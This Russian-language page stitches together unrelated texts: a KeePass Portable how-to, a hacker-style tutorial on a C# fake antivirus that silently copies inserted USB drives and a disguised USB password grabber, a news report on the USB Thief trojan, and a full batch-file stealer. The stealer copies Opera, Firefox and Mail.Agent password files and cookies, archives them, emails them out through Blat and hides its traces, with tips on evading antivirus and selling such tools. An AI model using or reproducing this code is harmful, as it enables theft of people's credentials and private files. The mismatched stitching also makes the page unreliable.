Как сделать флешку которая крадет пароли. Троян USB Thief не оставляет следов и работает на флешках

Многие компании, в том числе Sony и Adobe, уже становились жертвами хакеров, укравших миллионы паролей и других пользовательских данных. Анализ этой информации показал, что многие пользователи часто применяют либо ненадежные пароли вроде «123456», либо один и тот же пароль для многих сервисов. Это чрезвычайно облегчает хакерам их задачу, и в то же время такую беспечность можно понять: кто в состоянии запомнить больше десятка сложных паролей?

Простым решением может стать листок бумаги, приклеенный под клавиатурой. Ни один хакер не сможет на него покуситься, зато вам придется постоянно следить за людьми, находящимися вблизи вашего компьютера. И от этого листка нет никакой пользы, если вы хотите войти в свой аккаунт с чужого компьютера.

Бесплатный инструмент KeePass 2 Portable решает эту дилемму. Для его работы вам понадобится только USB-флеш-накопитель с 10 Мбайт свободного пространства, на которое вы установите вспомогательную программу. В дальнейшем вам нужно будет помнить только один пароль - от защищенной области флеш-накопителя. Ведь в ней KeePass сохраняет данные для входа в ваши веб-сервисы в виде закодированного банка данных, защищенного основным паролем.

Трояны, уводящие пароли, ничего не смогут разнюхать. И поскольку вам больше не нужно держать в памяти десятки паролей, вы сможете использовать для каждого веб-сервиса новый, действительно надежный пароль. Сейчас мы подробно расскажем, как пользоваться KeePass.

Как это сделать

1 Установите сейф для паролей


Установите сейф для паролей

Вставьте USB-флешку в ПК, создайте на ней новую папку и скопируйте туда содержимое архива с программной KeePass . Запустите программу KeePass.exe. После запуска активируйте автоматический поиск обновлений, нажав во всплывающем окне на «Enable». Затем выберите «View | Change Language» и нажмите «Get more languages».

Загрузите русский языковой файл с открывшегося сайта кликом по «Russian | 2.25+». Распакуйте содержимое архива на USB-накопитель. Вновь нажмите на «View | Change Language», выберите «Russian» и перезапустите KeePass нажатием кнопки «Yes».

2 Создайте новую базу паролей


Создайте новую базу паролей

Выберите «Файл | Новый» и укажите в качестве хранилища паролей USB-накопитель. В следующем окне программа предложит вам задать основной пароль. Его нужно будет вводить при каждом запуске KeePass.

3 Активируйте защищенный режим


Активируйте защищенный режим

Чтобы троян не смог считать ваш пароль для KeePass, следует использовать для его ввода защищенный режим работы программы, подобный UAC в Windows 7. Для этого в KeePass перейдите в «Сервис | Настройки | Безопасность», переместитесь в самый низ окна и поставьте флажок напротив «Вводить основной пароль в защищенном режиме».

4 Наполните БД паролями


Наполните БД паролями

KeePass может сортировать пароли по группам. По умолчанию в вашем новом банке паролей есть такие группы, как «ОС» или «Интернет». Чтобы создать новую запись, выберите подходящую группу (или создайте новую), щелкните на белой области справа правой кнопкой мыши и далее - по «Добавить запись».

Заполните все поля и нажмите «ОК». Поскольку вам больше не нужно помнить пароли для входа в каждый аккаунт, вы можете задать новые, более сложные, которые можно сгенерировать, например, на сайте passwort-generator.com.

5 Используйте автоматическую авторизацию


Если вы хотите войти на сервис с помощью KeePass, откройте группу, в которой хранится соответствующий пароль. Правой кнопкой мыши щелкните по соответствующей записи в хранилище паролей KeePass и в раскрывшемся списке выберите «Начать автонабор». После этого программа передаст ваши данные браузеру, а браузер откроет новое окно, где вы и войдете в свой аккаунт.

Обратите внимание, что в поле «URL» необходимо вводить тот URL, который вы обычно вводите в браузере для авторизации, иначе автоматический ввод пароля через KeePass работать не будет.

6 Расширьте возможности KeePass


Расширьте возможности KeePass

Если хотите расширить функциональность KeePass, зайдите в «Сервис | Модули | Еще модули», после чего вы будете перенаправлены на сайт с полезными расширениями (наши рекомендации вы найдете в таблице выше). Теперь кликом по названию плагина загрузите его и распакуйте на флеш-накопитель.

Запустите KeePass заново и перейдите к «Сервис | Модули». Внизу отобразится список доступных плагинов (некоторые из них можно настраивать).

Лучшие расширения для KeePass

Снабдите ваш сейф с паролями дополнительными функциями, например функцией резервного копирования или передачи пароля для мобильных телефонов.

Имя

Описание

DataBaseBackup Устанавливает защиту банка паролей на случай, если USB-накопитель будет украден или потерян.
Twofish Cipher
KeeAgent Добавляет алгоритм кодирования, который почти невозможно взломать; учтите, что из-за этого KeePass будет работать медленнее.
KeyExchanger Добавляет алгоритм кодирования, который почти невозможно взломать; учтите, что из-за этого KeePass будет работать медленнее.
KeeForm Открывает ваши любимые сайты нажатием кнопки и автоматически вносит ваши регистрационные данные.

Для простых смертных флешка – это девайс для переноса документов/фильмов/фоток и другой личной (а иногда и очень личной) информации. А вот для хакеров флешка – это одновременно и жертва, и боевой инструмент. Сегодня я расскажу все тонкости незаметного слива данных с флешек к себе на комп, а также научу превращать безобидные флешки в программы для резервного копирования паролей с «большого» компьютера.

Ловушка для чужих флешек

Идея программы «Злобный комп» будет заключаться в следующем. Мы разработаем небольшую тулзу, которая будет притворяться супер-мега продвинутым антивирусом, цель которого - качественное удаление с флешек «опасных» вирусов. Зараженной вирусами флешкой уже никого не удивишь, поэтому наш специализированный «антивирус» не вызовет у доверчивого пользователя опасений. Наоборот, вставив флешку к тебе в комп и увидев сообщение типа: «Обнаружен вирус. Произвожу детальное сканирование всех файлов на предмет наличия зараженных» , – он обязательно подождет завершения данной операции.

Подготовка инструментов

Писать столь полезную программу мы будем на модном нынче C#. Гибкость языка и широкий функционал платформы.NET позволяют разрабатывать приложения с молниеносной скоростью. Именно это нам и нужно. Нас интересует урожай, который мы сможем собрать, а не утомительный процесс кодинга.

Одной из важных составляющих нашего приложения будет интерфейс. Чем солиднее ты его сделаешь, тем больше шансов, что жертва не заметит подвоха и спокойненько будет ожидать завершения антивирусного сканирования. Я особо париться не стал и разместил на форму чистого проекта лишь картинку и ProgressBar. Ты же можешь оторваться по полной и сделать умопомрачительный дизайн. Советую посмотреть оформление какого-нибудь реального антивируса и примерно в таком же стиле оформить свое приложение.

Ставим задачу

Будем считать, что с организационными вопросами и алгоритмом действия мы определились, самое время обсудить технические нюансы. Итак, наш антивирус должен начинать свою грязную работу во время инсталляции флешки. Как только новый диск появляется в системе, наша программа должна определить его букву и начать копирование.

Перед тем как я взялся писать эту статью, мне на глаза попался исходник подобной программы. Автор примера определял факт присутствия флешки путем периодичного перебора всех дисков на предмет наличия драйва типа «съемный носитель». Сначала я думал пойти тем же путем, но внутренний голос подсказывал о нерациональности. Взвесив все «за» и все «ну его на», я отбросил эту идею и пошел прогуляться на MSND. Через пять минут оказалось, что сделал я это не зря. Ответ был найден!

Без WinAPI никуда...

Эффективней всего узнать о подключении нового оборудования (в нашем случае – флешки) можно путем отлова и анализа сообщения WM_DEVICECHANGE. Во время инсталляции девайса мессадж рассылается всем окнам, и мы достаточно легко можем его обработать в своем приложении. Для этого достаточно лишь описать функцию WindowProc. На практике выглядит примерно так:

LResult CALLBACK WindowProc (HWND hwnd, //идентификатор окна UINT uMsg, //идентификатор сообщения WPARAM wParam, //событие, которое произошло LPARAM lParam //указатель на структуру содержащую данные)

В теле функции тебе необходимо сравнить значение параметра WParam с идентификаторами различных событий, относящихся к сообщению WM_DEVICECHANGE. Для нашего примера это будут:

  • DBT_DEVICEARRIVAL - оборудование добавили
  • DBT_DEVICEREMOVECOMPLETE - оборудование полностью извлекли
  • Окей, как установить факт подключения нового оборудования, мы знаем, но как быть уверенным, что подключили именно флешку? Устройств с возможностью «горячего подключения» (я про usb) огромное множество (принтер, сканер, модем и т.д.). К счастью, и эта проблема решается достаточно просто. По параметру LParam мы можем обратиться к структуре _DEV_BROADCAST_HDR, у которой есть поле dbch_devicetype. Вот, исходя из значения это поля, и делаются соответствующие выводы. Если оно равно DEV_DEVTYP_VOLUME, то время ликовать и бить в ладоши - к нам подсоединили флешку!

    Typedef struct _DEV_BROADCAST_HDR { DWORD dbch_size; //Размер структуры DWORD dbch_devicetype; //Тип устройства DWORD dbch_reserved; //Зарезервировано, не используется }DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

    В наш писюк вставили флешку, – попробуем узнать букву диска, которую присвоила ей система. Как в «Поле чудес», можно ее угадать, но лучше выдернуть информацию из структуры DEV_BROADCAST_VOLUME.

    Typedef struct _DEV_BROADCAST_VOLUME { DWORD dbcv_size; //Размер структуры DWORD dbcv_devicetype; //Тип устройства DWORD dbcv_reserved; //Зарезервирован DWORD dbcv_unitmask; //Битовая маска буквы диска WORD dbcv_flags; // }DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME;

    Из всех полей этой структуры нас интересует dbcv_unitmask. Учти, что в этом свойстве содержится лишь бит буквы, а не ее символьное представление. Например, если значение 0, то буква диска будет A; если 1, то B и т.д. Для удобства получения символьной буквы лучше всего написать функцию.

    Если ты давно читаешь нашу рубрику и хорошо знаком с API-функциями, то в чтении следующей части статьи нет необходимости. Открывай редактор и начинай ваять приложения. Все необходимые структуры и функции я описал; тебе остается их собрать в программу. Определяйся, а я начну погружение в.NET и C# в частности.

    Ударим.NET"ом

    Время приступать к практике и применить знания к языку C#. «Какого черта? - спросишь ты. - Полстатьи рассказывал про WinAPI, а тут просто тупо решил оформить вызов всех функций в виде нативного кода? Где заявленная молниеносная скорость разработки?».

    В чем-то ты прав. Наше приложение действительно будет использовать WinAPI-функции (проще никак), но сами мы их описывать не будем. С проблемой определения флешек сталкивались многие разработчики. В результате этих стычек стали появляться бесплатные классы для C#, в которых уже реализован весь необходимый функционал. Нам остается только подключить такую заготовку (читай компонент) к своему проекту и вызвать пару методов. Одним из таких классов мы сейчас и воспользуемся. А вот знание структур, описанных выше, тебе обязательно пригодится при переносе этой программы на Windows API.

    Готовых классов, решающих подобные задачи, великое множество, но мне больше всего понравился вариант от Jan Dolinay. Этот человек написал очень простой в использовании и понимании кода класс DriveDetector, который умеет:

  • Определять факт подключения флеш-накопителя
  • Определять запрос на отмонтирование подключенной флешки
  • Определять факт отключение флехи
  • Получать букву диска вновь подключенной флешки
  • Предоставлять список открытых с флешки файлов
  • И самое главное, с этим классом чрезвычайно просто работать – в этом ты сейчас убедишься. Подключение класса к своему проекту выполняется стандартным образом, и останавливаться на этом смысла нет. Поэтому перейдем сразу к инициализации. Выполняется она так:

    FlashDriveDetector = new DriveDetector(); flashDriveDetector.DeviceArrived += new DriveDetectorEventHandler(OnDriveArrived); flashDriveDetector.DeviceRemoved += new DriveDetectorEventHandler(OnDriveRemoved);

    После создания экземпляра объекта класса DriveDetector я определяю обработчики событий DevieArrived() и DriveRemoved(). По их названию нетрудно догадаться, за что они отвечают. Весь код инициализации лучше всего писать в метод Form1(). Основной код нашей программы будет находиться в обработчике события DeviceArrived. Его текст ты увидишь на врезке:

    String dirName = Environment.GetCommandLineArgs() + "flash_" + DateTime.Now.ToString("dd-MM-yy-hh-mm-ss"); CreateDirectory(dirName); xDirectory flashcopier = new xDirectory(); flashcopier.IndexComplete += new IndexCompleteEventHandler(IndexCompleate); flashcopier.ItemCopied += new ItemCopiedEventHandler(ItemCopied); flashcopier.CopyComplete += new CopyCompleteEventHandler(CopyComplete); flashcopier.Source = new DirectoryInfo(e.Drive.ToString()); flashcopier.Destination = new DirectoryInfo(dirName); flashcopier.Overwrite = true; flashcopier.FolderFilter = "*"; flashcopier.FileFilters.Add("*.doc"); flashcopier.FileFilters.Add("*.xls"); //Определение других фильтров //.... flashcopier.StartCopy();

    В самом начале листинга, я определяю путь к папке, в которую мы будем копировать содержимое флешки. Выполнять копирование будем в директорию «flash_текущая дата», расположенную вместе с папкой, из которой запущено наше приложение – так удобнее. Определившись с именем папки, я пытаюсь создать ее с помощью функции CreateDirectory(). Эту функцию я написал исключительно для удобства. В ней происходит создание экземпляра объекта DirectoryInfo, предназначенного для работы с директориями, и вызов его метода Create(), который и создает новую папку.

    После создания папки можно выполнять копирование. Копирование всех файлов я выполняю с помощью объекта типа xDirectory. Если ты набираешь код из листинга самостоятельно, то при попытке компиляции компилятор разродится ошибкой, в которой черным по белому будет сказано: «Объект такого типа не найден».

    Дело в том, что xDirectory - сторонний класс. Когда-то давным-давно я его нашел на просторах инета и с тех пор частенько использую в своих проектах. Мне он нравится тем, что для копирования вложенных папок достаточно вызвать один метод. Кроме того, он позволяет устанавливать фильтры.

    Реально обойтись и без него. Берем стандартные классы, хорошо знакомый всем программистам прием – рекурсию – и пишем пару десятков строк кода. Увы, этого я делать категорически не хочу. На дворе XXI век, нужно по максимуму оптимизировать свои действия и xDirectory нам в этом поможет.

    Модуль с классом лежит у нас на диске, а узнать о предназначении методов/свойств/событий ты можешь, взглянув на соответствующую таблицу.

    Свойства класса xDirectory

    Методы класса xDirectory

    Попробуй запустить наше приложение и вставить флешку. Через несколько секунд (в зависимости от захламленности твоей флешки) все содержимое usb-драйва перенесется в папку, из которой ты запустил свежеиспеченное приложение.

    USB граббер

    Теперь рассмотрим обратную задачу и поговорим о нюансах создания т. н. флешки-граббера. Принцип создания точно такой же. Тебе нужно написать простенькое приложение, которое будет автоматически запускаться после инсталляции флешки.

    В процессе работы приложение будет шерстить по папкам/ключам реестра, в которых популярные программы хранят сохраненные пароли и по возможности копировать всю инфу в одну из своих папок. Чтобы твой авторан не вызвал подозрений у бедного юзера, потрудись тщательно его замаскировать. Например, под launch-меню.

    Ты, наверное, в курсе, что сейчас стали очень популярны так называемые portable-версии приложений, то есть программы, умеющие работать прямо с флешки. На этом лучше всего и сыграть. Оформи программу в соответствующем стиле и для правдоподобности брось несколько кнопок, предназначенных для запуска каких-либо программ. Мой вариант оформления представлен на рисунке.

    Как будем грабить?

    Сразу скажу, что супер-хакерских действий здесь совершать не нужно. Большинство программ хранят личные данные в папке Documents and Settings\Пользователь\Application Data\%ProgramName% или в реестре. Под ProgramName подразумевается любая программа. Если ты сталкиваешься с первым вариантом, то тебе придется воспользоваться уже знакомым классом xDirectory (или стандартными методами работы с файлами) и скопировать с его помощью все необходимое. Во втором случае тебе придется поработать с реестром. Пример копирования файлов приводить не стану (рассматривали уже), а вот как взаимодействовать с реестром средствами.NET – я сейчас покажу (на примере определения пути к папке TC):

    RegistryKey readKey = Registry.CurrentUser.OpenSubKey(" software\\Ghisler\\Total Commander"); string key = (string) readKey.GetValue("InstallDir");

    На этом все. Кода больше не будет. Этих знаний тебе должно хватить, чтобы стянуть файлы с ценной инфой. Чтобы чуточку облегчить задачу, я подготовил список наиболее популярных программ и расписал все пути, по которым они хранят сохраненные данные пользователя.

    Mail.Agent

    Мессенджер от Mail.ru сейчас пользуется огромной популярностью среди простых смертных юзеров (особенно у женского пола). Цели ясны, задачи поставлены, поэтому нас интересуют:

  • Хистори. Всю историю переписки пользователя MA хранит в Documents and setting\%Пользователь%\Appication Data\Mra\base . В папке base есть файлик mra.dbs . Это, собственно говоря, и есть файл истории.
  • Контакт-Лист. Список контактов расположен в папке MRA\%аккаунт пользователя%\clist5.txt . Учти, пользователей работающих с mail.agent может быть несколько (или у одного юзера может быть несколько акков). Поэтому разумней всего будет скопировать все папки, содержащие в названии символ «@».
  • Пароль. Пароль (точнее, его хэш) от учетной записи пользователя дислоцируется в реестре по пути - HKCU\Software\Mail.RU\Agent\magent_logins2\%Account% в параметре ####password .
  • gTalk

    Компания Google создает удобные и функциональные продукты, среди которых присутствует gabber-клиент - gTalk . Сегодня gTalk еще не сильно популярен. На каждом втором ПК он не установлен, но иногда все же встречается и, чтобы быть в теме, лучше сразу научить нашу программу доставать пароли и от этого мессанджера. Пароли от всех учетных записей gTalk хранит в реестре - HHEY_CURRENT_USER\Software\Google\Google Talk\Accounts . В этой ветки перечислены все аккаунты, под которыми когда-либо был выполнен вход в gTalk . Пароли к аккаунту записаны в строковом параметре pw.

    Total Commander

    Total Commander - безусловно, самый популярный файловый менеджер. Функций в программе содержится приблизительно вагон и маленькая тележка (и еще столько же можно на него навесить при помощи дополнительных плагинов). Нас интересует лишь встроенный FTP-клиент. Его используют многие, и пароли, конечно же, сохраняют.

    TC в отличие от многих других программ не хранит пароли в реестре, а юзает старые добрые ini-файлы. Пароли, а также все необходимые данные для подключения к серверам (ip, порт, имя пользователя и т.д.) Total Commander хранит в файле wcx_ftp.ini , который невинно располагается в папке с программой. Путь к директории, в которую установлен Total Commander , ты можешь узнать из реестра. Загляни в ветку HKEY_CURRENT_USER\Software\Ghisler\Total Commander .

    FireFox

    Сегодня браузер - это не просто программа для WEB-путешествий, а целый комбайн, который помимо разнообразных возможностей хранит очень много конфиденциальной инфы. Типичный тому пример – web-формы. 99% современных сайтов требуют регистрации. Запомнить и постоянно держать в голове связку логин/пароль для каждого сайта - задача нереальная, особенно если ты продвинутый пользователь и серфинг интернета у тебя не ограничивается одними «Одноклассниками» и «ВКонтакте».

    Разработчики облегчили жизнь пользователям и встроили в программы так называемые «хранилища паролей». Зарегистрировался, зашел под своей учеткой, приказал браузеру запомнить учетные данные – и забыл. При следующем посещении останется только выполнить пару щелчков мышкой, и ты уже на сайте. Раз браузер сохраняет пароли, значит, у нас возможность утянуть всю его базу.

  • sessionstore.js - файл содержит в себе все сохраненные сессии.
  • signons3.txt - зашифрованные пароли (для третьей версии FF).
  • signons.sqlite - SQLite база, содержащая все зашифрованные пароли.
  • key3.db - база данных, содержащая ключи для сертификатов.
  • Все эти файлы расположены в уже знакомой тебе Document and Settings\%UserName%\Application Data\Mozilla\FireFox\Profiles\%Имя профиля% .

    Opera

    Opera - браузер, который очень популярен среди российских пользователей. Естественно, мы не можем оставить его без внимания. Итак, с Opera ситуация примерно такая же, как и с FireFox. Все сохраненные в браузере пароли хранятся по адресу Document and Settings\%UserName%\Application Data\Opera\profile в файле wand.dat. Получается, при обнаружении Opera мы будем действовать так же, как и в случае с FireFox .

    Skype

    Популярность скайпа растет каждый день. Многие его используют не как средство совершения звонков, а для банального удобного чата. Все сокровенные данные, как и следует ожидать, расположены в профиле пользователя (там же, где хранит их опера или FF). Для их «приватизации» придется скопировать профиль пользователя из Document and Settings\%userName%\Application Data\Skype\ и экспортировать ветку реестра - HKEY_CURRENT_USER\Software\Skype\ProtectedStorage .

    QIP

    Как и большинство описанных ранее программ, QIP все сохраненные пароли хранит в Application Data\qip .

    Copying completed

    Технология.NET сильно упростила нам задачу, в результате чего весь кодинг свелся к вызову нескольких методов. Ты, конечно, можешь сказать, что это не круто и что такие штуки куда эффективней написать на WinAPI или ASM"e. В чем-то я с тобой соглашусь, но учти, на WinAPI и, тем более, на Асме написать такую программку так же быстро не удастся. Пока другие пишут километровый код, мы с тобой будем собирать урожай. Удачи в программировании, а если возникли вопросы, – милости прошу, пиши на мыло.

    Не забывай, многие пользователи хранят конфиденциальную инфу в папке «Мои документы». Как минимум, там могут быть интересные рабочие документы, а иногда и целые файлики с паролями. Я в свое время (на бывшей работе) обнаружил на компе бухгалтера аккуратненько отформатированный файл с паролями к банк-клиентам.

    Как настоящий друг, ты должен помочь всем этим людям с бэкапом их конфиденциальной информации.

    На многих хакерских форумах много объявлений о продаже софта такого рода. Цены разные - от 10$ до 100$ . Доработав рассмотренные в статье примеры, ты можешь заработать на корочку черного хлеба с икрой. Повторюсь, главное подойти к делу творчески, и все обязательно получится. Опять же, антивирусами не детектируется;).

    Warning!

    Эту программу мы используем исключительно для своевременного бэкапа содержимого флешек на диск и бэкапа паролей на флешку. А ты что подумал? Незаконное использование подобного софта наказуемо!

    Крайне необычный троян: малварь получила название USB Thief (Win32/PSW.Stealer.NAI). Вредонос ориентирован на кражу данных, он распространяется и работает на обыкновенных флешках, а также искусно скрывает следы своего присутствия в системе. Троян идеален для кибершпионажа, так как способен добраться даже до изолированных от сети систем, если к ним можно подключить USB-накопитель.

    В отличие от других USB-угроз, которые прописываются в автозагрузку и подделывают ярлыки приложений, чтобы малварь запустилась, USB Thief действует иначе. Работа трояна рассчитана на то, что пользователи часто хранят на флешках портативные версии таких приложений как Firefox, NotePad++, TrueCrypt и так далее. Малварь аккуратно встраивается в цепочку загрузки таких программ, выдавая себя за плагин или файл DLL. Таким образом, когда пользователь запускает с флешки привычное приложение, вместе с ним (в фоновом режиме) выполняется и запуск трояна.

    Неизвестный автор малвари озаботился серьезной защитой для своей разработки. USB Thief привязывается к каждой зараженной флешке, используя для этого ее уникальный ID и параметры накопителя. Часть файлов трояна защищена шифрованием AES128, причем ключ генерируется именно на основе уникальных параметров устройства. Также имена файлов малвари разнятся в каждом случае: они генерируются на базе содержимого флешки и времени создания файлов. При попытке скопировать USB Thief на другую флешку или обычный жесткий диск, эта двухступенчатая система защиты не даст малвари заработать, а также серьезно осложнит проведение реверс инжиниринга.

    Структура трояна

    USB Thief работает напрямую с флешки и не оставляет никаких следов в самой системе. Троян состоит из шести файлов, четыре из которых являются исполняемыми, а еще два содержат данные конфигурации. Первый лоадер отвечает за запуск трояна вместе с портативной версией какой-либо программы. Он проверяет USB-устройство и убеждается, что может записывать на него украденную информацию и хранить ее здесь. Затем стартует второй лоадер. Он проверяет имена родительских процессов и убеждается, что работает в обычном окружении (и никто не пытается его анализировать). Третий лоадер, в свою очередь, проверяет наличие в системе антивирусов.

    Последний, четвертый пейлоад, который встраивается в запущенный процесс, отвечает непосредственно за кражу данных. USB Thief похищает документы, изображения, список файлов со всех доступных дисков, данные реестра Windows и информацию, собранную при помощи WinAudit. Все похищенные данные сохраняются на флешке и шифруются с применением эллиптической криптографии .

    Эксперты ESET отмечают, что атаки с использованием USB Thief пока нельзя назвать распространенной практикой. Тем не менее, троян очень опасен, так как обнаружить его присутствие сложно, а после извлечения USB-накопителя, никаких следов хищения информации не остается вовсе. Также в отчете компании говорится о том, что автор малвари, при желании, может «перепрофилировать» свой вредонос, заменив пейлоад для кражи данных на любую другую малварь.

    В этой статье опишу как можно быстро и без особого труда,написать и сделать вирус ворующий файлы с паролями и отправляющий всё это на почтовый ящик.
    Начнём с того что вирус будет написан на bat"e(CMD,основные команды Вы можете взять ) то есть в обычном текстовом файле и будет выполняться при помощи стандартного,встроенного интреператора Windows- "командной строки".
    Для того чтоб написать подобный вирус,нужно знать точное место хранения тех файлов которые и будет он воровать, компоненты Blat которые можно скачать с офф сайта http://www.blat.net/ или же с нашего сервера,так же компонент от архиватора WinRaR Rar.exe(можно обойтись и без него).
    Открываем блокнот и копируем туда следующий код:

    @echo off md %systemroot%\wincs md %SystemDrive%\pass\ md %SystemDrive%\pass\opera\ md %SystemDrive%\pass\Mozilla\ md %SystemDrive%\pass\MailAgent\ md %SystemDrive%\pass\MailAgent\reg attrib %systemroot%\wincs +h +s +r attrib %SystemDrive%\pass +h +s +r copy /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" copy /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" copy /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" CD /D %APPDATA%\Opera\Opera\ copy /y wand.dat %SystemDrive%\pass\opera\wand.dat copy /y cookies4.dat %SystemDrive%\pass\opera\cookies4.da regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3 CD /D %APPDATA% Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul cd %AppData%\Mozilla\Firefox\Profiles\*.default\ copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db copy /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite copy /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul del /s /q %SystemRoot%\Rar.exe %SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ copy /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar cd %systemroot%\wincs %systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw Пароль ren *.rar pass.rar %systemroot%\wincs\blat.exe -body FilesPassword -to логин@yandex.ru -attach %systemroot%\wincs\pass.rar rmdir /s /q %SystemDrive%\pass rmdir /s /q %systemroot%\wincs del /s /q %systemroot%\blat.exe del /s /q %systemroot%\blat.dll del /s /q %systemroot%\blat.lib attrib +a +s +h +r %systemroot%\wind.exe EXIT cls

    Не много распишу код самого батинка.
    @echo off - скрывает тело батинка(так то она и не нужна,ну всё же)
    md %systemroot%\wincs - создаёт папку wincs в системной папке Windows не зависимо от того на каком диске она установлена или как она названа.
    md %SystemDrive%\pass\ - создаёт папку pass на диске куда установлена система Windows.
    md %SystemDrive%\pass\opera\ - создаёт папку opera куда в дальнейшем будет копироваться wand.dat и cookies4.dat от браузера Opera (до 11* версий опера хранит свои пароли в файле wand.dat )
    md %SystemDrive%\pass\Mozilla\ - создаёт папку Mozilla куда в дальнейшем будут копироваться файлы от браузера Mozilla (cookies.sqlite ,key3.db ,signons.sqlite ) в которых храняться пароли.
    md %SystemDrive%\pass\MailAgent\ - создаёт папку MailAgent в которую будут копироваться файлы содержащие в себе историю переписки и ключи реестра(хранящие в себе пароли) от Маил Агента.
    md %SystemDrive%\pass\MailAgent\reg - создаёт папку reg
    attrib %systemroot%\wincs +h +s +r - ставит атрибуты на папку wincs тем самым скрывая её от глаз.
    attrib %SystemDrive%\pass +h +s +r - тоже самое что и выше.
    copy /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" - копирует файл blat.exe с места выгрузки в папку wincs
    copy /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" - копирует файл blat.dll с места выгрузки в папку wincs
    copy /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" - копирует файл blat.lib с места выгрузки в папку wincs
    CD /D %APPDATA%\Opera\Opera\ - переходит в папку оперы где располагаются файлы с паролями (и не только) от оперы.
    copy /y wand.dat %SystemDrive%\pass\opera\wand.dat - копирует файл wand.dat в папку opera
    copy /y cookies4.dat %SystemDrive%\pass\opera\cookies4.dat - копирует файл cookies4.dat в папку opera
    regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 - экспортирует ключ реестра magent_logins2 где хранится пароль, в папку reg
    regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3 - экспортирует ключ реестра magent_logins3 где хранится пароль, в папку reg
    CD /D %APPDATA% - переходим в папку AppData
    Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul - копирует содержимое папки Mra\Base в папку MailAgent
    Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul - копирует файл ver.txt в папку MailAgent
    cd %AppData%\Mozilla\Firefox\Profiles\*.default\ - переходим в папку с профилем браузера Мозилы
    copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite - копирует файл cookies.sqlite в папку Mozilla
    copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db - копирует файл key3.db в папку Mozilla
    copy /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite - копирует файл signons.sqlite в папку Mozilla
    copy /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul - копирует компонент архиватора WinRar Rar.exe в папку pass
    del /s /q %SystemRoot%\Rar.exe - удаляет компонент архиватора из папки Windows
    %SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ - архивируем содержимое папки pass
    copy /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar копируем созданный архив в папку wincs
    cd %systemroot%\wincs - переходим в папку wincs
    %systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw Пароль - готовит программу Blat к отправки архив указывая данные для авторизации и отправки письма.Не забудьте указать свои данные от почтового ящика,от куда будет отправляться письмо с архивом.
    ren *.rar pass.rar - на всякий случай если архив в ходе не принял не правильное имя,мы его ещё раз переименуем в pass.rar
    %systemroot%\wincs\blat.exe -body Files Password -to логин@yandex.ru -attach %systemroot%\wincs\pass.rar - указываем на какой почтовый адрес будет послано письмо и отсылаем его.
    rmdir /s /q %SystemDrive%\pass - удаляем папку pass
    rmdir /s /q %systemroot%\wincs - удаляем папку wincs
    del /s /q %systemroot%\blat.exe
    del /s /q %systemroot%\blat.dll - удаляем компоненты Blat из папки Windows.
    del /s /q %systemroot%\blat.lib - удаляем компоненты Blat из папки Windows.
    attrib +a +s +h +r %systemroot%\wind.exe - ставим на себя атрибуты тем самым скрываем себя от глаз.
    EXIT - завершаем процесс батинка и выходим.
    cls - очищаем вывод каких либо строк в интреператоре.
    Скопировали,сохраняем как wind.bat и компилируем в exe при помощи программы Bat to exe converter ,далее собираем всё в кучу,то есть берём компоненты программы Blat и компонент архиватора WinRar (скачать можно ) и склеиваем в один исполняемый файл,или же с какой нибудь программой, путь выгрузки всех фалов должен быть %SystemRoot% или %WindowsDir% или %windir% .
    В итоге мы получаем вирус который не будет палиться антивирусами и будет отправлять архив с файлами к Вам на почту.Файлы которые придут на почту,можно расшифровать с помощью multi-password-recovery ,правда не все,а только wand.dat от оперы и то если её не обновляли до 11*версий.Все остальные файлы можно расшифровать заменив на свои.
    На этом я думаю можно закончить,если же у Вас возникнут какие либо вопросы,не стесняйтесь задавайте.
    Спасибо за внимание,всего доброго!
    ©SwAp TheHackWorld.in